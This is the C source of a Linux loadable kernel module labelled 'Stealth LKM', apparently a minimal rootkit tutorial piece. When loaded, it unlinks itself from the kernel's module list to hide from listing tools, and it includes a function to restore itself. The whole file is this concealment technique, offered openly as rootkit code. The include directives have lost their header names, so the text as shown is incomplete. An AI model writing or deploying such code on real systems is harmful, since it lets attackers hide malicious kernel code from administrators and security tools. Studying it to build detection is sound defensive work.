#include #include #include #include MODULE_LICENSE("GPL"); MODULE_AUTHOR("Unauthenticated Papaya"); MODULE_DESCRIPTION("Stealth LKM"); MODULE_VERSION("0.01"); static struct list_head *prev_module; static short hidden = 0; void showme(void) { list_add(&THIS_MODULE->list, prev_module); hidden = 0; } void hideme(void) { prev_module = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); hidden = 1; } static int __init rootkit_init(void) { printk(KERN_INFO "Rootkit Loaded\n"); hideme(); return 0; } static void __exit rootkit_exit(void) { printk(KERN_INFO "Rootkit unloaded\n"); } module_init(rootkit_init); module_exit(rootkit_exit);